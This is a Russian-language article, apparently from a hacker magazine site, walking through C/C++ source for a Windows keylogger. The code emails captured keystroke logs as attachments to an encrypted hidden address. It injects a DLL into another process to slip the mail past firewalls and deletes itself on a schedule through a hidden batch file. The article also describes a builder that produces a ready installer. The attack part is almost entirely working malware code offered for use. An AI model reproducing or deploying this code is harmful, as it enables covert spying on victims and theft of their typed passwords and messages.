Начало

Отправка сообщения с вложенным файлом
лога

Чтобы нам удобнее было забирать результаты
работы нашего шпиона, напишем следующую
процедуру отправки сообщения с вложенным
лог-файлом…

// Передать запрос серверу
#define SendRequest(s,tszRequest) if(send(s,tszRequest,lstrlen(tszRequest),0) == SOCKET_ERROR) throw
FALSE;

// Получить ответ от сервера
#define ReceiveAnswer(s,tszAnswer) ZeroMemory(tszAnswer,512); if(recv(s,tszAnswer,512,0) == SOCKET_ERROR) throw FALSE; if(!((tszAnswer[0] == ‘2’ && tszAnswer[1] == ‘2’ && tszAnswer[2] == ‘0’) || (tszAnswer[0] == ‘2’ && tszAnswer[1] == ‘5’ && tszAnswer[2] == ‘0’) || (tszAnswer[0] == ‘3’ && tszAnswer[1] == ‘5’ && tszAnswer[2] == ‘4’) || (tszAnswer[0] == ‘2’ && tszAnswer[1] == ‘2’ && tszAnswer[2] == ‘1’) || (tszAnswer[0] == ‘2’ && tszAnswer[1] == ‘5’ && tszAnswer[2] == ‘0’))) throw
FALSE;

// Видимая функция отправки почты
BOOL VisibleSendMail()
{
PHOSTENT pHostEnt;
SOCKET s;
CHAR tszRequestAnswer[512] = «», _tszSmtpServer[256], _tszEMailAddr[256];
DWORD dwRead;
struct sockaddr_in entAddr;
_CMD4MD5Hashing CMD4MD5Hashing;
_TEADecrypting TEADecrypting;
WSADATA wsaData;

memcpy(_tszSmtpServer,tszSmtpServer,256);
memcpy(_tszEMailAddr,tszEMailAddr,256);

WSAStartup(MAKEWORD(1,1),&wsaData);

s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s == INVALID_SOCKET)
{
WSACleanup();
return FALSE;
}
try
{
//
Расшифровка адреса smtp-сервера.
//
Алгоритм:
//
1. Генерирование ключа на основе шифра e-mail-адресов с помощью MD4.
//
2. Расшифровка шифра адреса smtp-сервера ключом из п.1.
TEADecrypting.DecryptIt((BYTE*)_tszSmtpServer,256,CMD4MD5Hashing.HASH_crypt((BYTE*)_tszEMailAddr,256,MD4_ALG));
_tszSmtpServer[(BYTE)_tszSmtpServer[0] + 1] = 0;
//
————————————————

pHostEnt = gethostbyname(&_tszSmtpServer[1]);
if(!pHostEnt)
throw FALSE;

memmove(&entAddr.sin_addr.s_addr,*pHostEnt->h_addr_list,sizeof PCHAR);
entAddr.sin_family = AF_INET;
entAddr.sin_port = htons(wSMTPPort);
if(connect(s,(struct sockaddr*)&entAddr,sizeof entAddr) == INVALID_SOCKET)
throw FALSE;
ReceiveAnswer(s,tszRequestAnswer);

// Передаем привет серверу
SendRequest(s,"helo friend\r\n");
//
Получаем привет от сервера
ReceiveAnswer(s,tszRequestAnswer);

// Расшифровка e-mail адресов.
//
Алгоритм:
//
1. Генерирование ключа на основе адреса smtp-сервера с помощью MD5.
//
2. Расшифровка e-mail-адресов ключом, полученным в п.1.
TEADecrypting.DecryptIt((BYTE*)_tszEMailAddr,256,CMD4MD5Hashing.HASH_crypt((BYTE*)&_tszSmtpServer[1],(BYTE)_tszSmtpServer[0],MD5_ALG));
_tszEMailAddr[(BYTE)_tszEMailAddr[0] + 1] = 0;
_tszEMailAddr[(BYTE)_tszEMailAddr[128] + 129] = 0;
//
—————————

ZeroMemory(_tszSmtpServer,256);

// Говорим, от кого письмо
lstrcpy(tszRequestAnswer,»mail from:<«);
lstrcat(tszRequestAnswer,&_tszEMailAddr[129]);
lstrcat(tszRequestAnswer,">\r\n");
SendRequest(s,tszRequestAnswer);
//
Получаем ответ о корректности синтаксиса электронного адреса
ReceiveAnswer(s,tszRequestAnswer);

// Сообщаем серверу адресат
lstrcpy(tszRequestAnswer,»rcpt to:<«);
lstrcat(tszRequestAnswer,&_tszEMailAddr[1]);
lstrcat(tszRequestAnswer,">\r\n");
SendRequest(s,tszRequestAnswer);
//
Сервер говорит, что проверил наличие адреса и отправитель локальный
ReceiveAnswer(s,tszRequestAnswer);

// Готовим сервер к приему данных
SendRequest(s,"data\r\n");
//
Сервер сообщает о готовности
ReceiveAnswer(s,tszRequestAnswer);

// Заполняем поле «Куда»
lstrcpy(tszRequestAnswer,»To: «);
lstrcat(tszRequestAnswer,&_tszEMailAddr[1]);
lstrcat(tszRequestAnswer,"\r\n");
SendRequest(s,tszRequestAnswer);

// Заполняем поле «От кого»
lstrcpy(tszRequestAnswer,»From: «);
lstrcat(tszRequestAnswer,&_tszEMailAddr[129]);
lstrcat(tszRequestAnswer,"\r\n");
SendRequest(s,tszRequestAnswer);

ZeroMemory(_tszEMailAddr,256);

// Тема сообщения
lstrcpy(tszRequestAnswer,»Subject: Keyboard log from «);
dwRead = 482;
GetComputerName(tszRequestAnswer + 27,&dwRead);
lstrcat(tszRequestAnswer,"\r\n");
SendRequest(s,tszRequestAnswer);
SendRequest(s,"Content-Type: multipart/mixed; boundary=\"—-=KeyDumpNT\"");
SendRequest(s,"\r\n\r\n");

// Содержимое файла
SendRequest(s,»——=KeyDumpNT»);
SendRequest(s,»\r\n»);
SendRequest(s,»Content-Transfer-Encoding: base64″);
SendRequest(s,"\r\n");

// Сжимаем файл
BOOL bCompressed = FALSE;
if(bCompressFile)
{
HANDLE hFileMap = CreateFileMapping(hCapFile,0,PAGE_READONLY,0,0,0);
if(hFileMap)
{
BYTE *pSrc = (BYTE*)MapViewOfFile
(hFileMap,FILE_MAP_READ,0,0,0);
if(pSrc)
{
int nDestLen;
LPSTR pDest;

CLzhCompress cmpr;
if(cmpr.lzh_freeze_memory(pSrc,GetFileSize(hCapFile,0), (VOID**)&pDest,&nDestLen) == 0)
{
CBase64 b64;
HANDLE hProcessHeap = GetProcessHeap();

UINT mach_buffer_size = b64.CalculateRecquiredEncodeOutputBufferSize(nDestLen);
LPSTR mach_buffer = (LPSTR)HeapAlloc(hProcessHeap,0,mach_buffer_size);
if(mach_buffer)
{
SendRequest(s,»Content-Disposition: attachment; filename=\»LogFile.akz\»»);
SendRequest(s,»\r\n\r\n»);
b64.EncodeBuffer(pDest,nDestLen,mach_buffer);
tszRequestAnswer[256] = 0;
for(UINT i = 0; i < mach_buffer_size; i += 256)
{
memcpy(tszRequestAnswer,&mach_buffer[i],256);
SendRequest(s,tszRequestAnswer);
}
HeapFree(hProcessHeap,0,mach_buffer);
bCompressed = TRUE;
}
cmpr.lzh_free_memory((VOID**)&pDest);
}
UnmapViewOfFile(pSrc);
}
CloseHandle(hFileMap);
}
}

// Если файл не сжался
if(!bCompressed)
{
SendRequest(s,»Content-Disposition: attachment; filename=\»LogFile.txt\»»);
SendRequest(s,»\r\n\r\n»);

CBase64 b64;
CHAR mach_buffer[79];

SetFilePointer(hCapFile,0,0,0);
do
{
ReadFile(hCapFile,tszRequestAnswer,57,&dwRead,0);
ZeroMemory(mach_buffer,sizeof mach_buffer);
b64.EncodeBuffer(tszRequestAnswer,dwRead,mach_buffer);
SendRequest(s,mach_buffer);
}while(dwRead);
}

// Завершаем передачу
SendRequest(s,"\r\n\r\n");
SendRequest(s,"——=KeyDumpNT");
SendRequest(s,"\r\n.\r\n");
ReceiveAnswer(s,tszRequestAnswer);

// Выходим
SendRequest(s,"quit\r\n");
// Подтверждение (ОК)
ReceiveAnswer(s,tszRequestAnswer);
throw TRUE;
}
catch(BOOL bNoError)
{
closesocket(s);
WSACleanup();
return bNoError;
}
}

Это была обычная функция отправки сообщения. Заметим, что e-mail адрес и адрес smtp-сервера хранятся зашифрованными алгоритмом TEA. Здесь они расшифровываются. Теперь реализуем функцию скрытой отправки. Сама процедура отправки находится в DLL и идентична вышеописанной функции:

// Функция скрытой отправки почты (от брандмауэра)
BOOL HiddenSendMail(BOOL &bInjected)
{
BOOL bReturn = FALSE;
bInjected = FALSE;
HRSRC hDll = FindResource(0,MAKEINTRESOURCE(IDR_SENDMAILDLL),»DLL»);
if(hDll)
{
DWORD dwDllSize = SizeofResource(0,hDll);
if(dwDllSize)
{
BYTE *uszDll = new BYTE[dwDllSize];
if(uszDll)
{
memcpy(uszDll,LockResource(LoadResource(0,hDll)),dwDllSize);
memcpy(uszDll + 0x4A8,tszSmtpServer,256);
memcpy(uszDll + 0x3A8,tszEMailAddr,256);
memcpy(uszDll + 0x298,&wSMTPPort,2);
memcpy(uszDll + 0x2A4,tszFileLocation,MAX_PATH);
memcpy(uszDll + 0x2A0,&bCompressFile,4);

CInjectDllEx ide;
bInjected = ide.StartAndInject(szInjectIn,TRUE,uszDll,0,TRUE,(DWORD*)&bReturn);

delete [] uszDll;
}
}
}
return bReturn == TRUE;
}

Здесь используется метод внедрения DLL, описанный мной в моей предыдущей статье,
ссылка на которую дана в конце.

Самоуничтожение

Следующая процедура удалит программу, как только она завершит свою работу:

VOID DeleteExecutableBF()
{
SetFileAttributes(szExeFileName,FILE_ATTRIBUTE_NORMAL);
HANDLE hfile = CreateFile("\\DelUS.bat",
GENERIC_WRITE,0,0,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL|
FILE_FLAG_SEQUENTIAL_SCAN,0);
if(hfile != INVALID_HANDLE_VALUE)
{
CHAR szBatFile[600];
DWORD dwNumberOfBytesWritten;

wsprintf(szBatFile,
«:Repeat\r\n»
«del \»%s\»\r\n»
«if exist \»%s\» goto Repeat\r\n»
«del \»\\DelUS.bat\»\r\n»,
szExeFileName,szExeFileName);

CharToOem(szBatFile,szBatFile);
WriteFile(hfile,szBatFile,lstrlen(szBatFile), &dwNumberOfBytesWritten,0);
CloseHandle(hfile);

STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);

si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if(CreateProcess(0,"\\DelUS.bat",0,0, FALSE,CREATE_SUSPENDED|
IDLE_PRIORITY_CLASS,0,"\\",&si,&pi))
{
SetThreadPriority(pi.hThread,THREAD_PRIORITY_IDLE);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
SetPriorityClass(GetCurrentProcess(),HIGH_PRIORITY_CLASS);
CloseHandle(pi.hProcess);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
}
}
}

А эта функция является отдельным потоком, запускаемым в самом начале работы шпиона. Она реализует самоудаление шпиона по расписанию. Также она способна удалить вместе с программой и лог-файл:

DWORD WINAPI DelSelfProc(LPVOID)
{
FILETIME currTime, filetimeForDelSelf;
SYSTEMTIME localTime;

if(bDelSelf)
SystemTimeToFileTime(&timeForDelSelf,&filetimeForDelSelf);

while(bDelSelf)
{
GetLocalTime(&localTime);
SystemTimeToFileTime(&localTime,&currTime);
if(CompareFileTime(&currTime,&filetimeForDelSelf) >= 0)
{
DeleteExecutableBF();
EnableAutostart(FALSE);

if(!bDelSelfWithLog)
{
DWORD dwWritten;
CHAR tszTimeFormat[256];

WriteFile(hCapFile,»\r\n\r\nSelf-removing… Date and Time: «,36,&dwWritten,0);
GetTimeFormat( LOCALE_USER_DEFAULT,TIME_FORCE24HOURFORMAT |LOCALE_USE_CP_ACP|
TIME_NOSECONDS,0,0,tszTimeFormat,256);
WriteFile(hCapFile,tszTimeFormat,lstrlen(tszTimeFormat),&dwWritten,0);
GetDateFormat(LOCALE_USER_DEFAULT, LOCALE_USE_CP_ACP,0,0,tszTimeFormat,256);
WriteFile(hCapFile,» «,1,&dwWritten,0);
WriteFile(hCapFile,tszTimeFormat,lstrlen(tszTimeFormat),&dwWritten,0);
}

while(!PostThreadMessage(dwKeyCapThreadID,WM_HOTKEY,0,0))
Sleep(1000);
break;
}
Sleep(500);
}
return 0;
}

Результат

Теперь посмотрим, что из всего этого у нас получилось:

Это главное окно программы настройки. Здесь всё должно быть предельно ясно и удобно для использования.

После задания нужных нам параметров, нажимаем кнопку «Создать», и создается программа установки KeyDmpSet.exe, которую достаточно один раз запустить, чтобы шпион начал свою работу.

Подробные инструкции о том, как использовать наше с
вами творение, можно увидеть в бинарниках, прилагаемых к статье.

Заключение

В статье еще очень многое можно было описать и о многом рассказать, но я привел самые основные возможности и интересные участки кода. Исходный код всех программ, о которых здесь велась речь, смотрите
ниже. И хочу Вас предупредить, что ВЫ ИСПОЛЬЗУЕТЕ ЭТО ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ НА СВОЙ РИСК. АВТОР НЕ НЕСЕТ ОТВЕТСТВЕННОСТЬ ЗА ПОТЕРИ ИЛИ ИСКАЖЕНИЯ ДАННЫХ, ЛЮБУЮ УПУЩЕННУЮ ВЫГОДУ В ПРОЦЕССЕ ИСПОЛЬЗОВАНИЯ ИЛИ НЕПРАВИЛЬНОГО ИСПОЛЬЗОВАНИЯ ЭТОГО ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ.

Исходники
Бинарники

Использованные
материалы

  1. Holy_Father,
    "Как стать невидимым в Windows NT", http://rootkit.host.sk.
  2. Crash,
    «Усовершенствованный
    метод внедрения DLL»
    .
  3. Holy_Father, Hacker Defender 1.0,http://rootkit.host.sk.
  4. Back
    Orifice 2k, http://www.bo2k.com.<
  5. Алгоритм
    шифрования TEA
    .
  6. Алгоритмы хеширования MD4 и MD5. Библиотека OpenSSL v0.9.7b.

Оставить мнение

Check Also

Windows 10 против шифровальщиков. Как устроена защита в обновленной Windows 10

Этой осенью Windows 10 обновилась до версии 1709 с кодовым названием Fall Creators Update …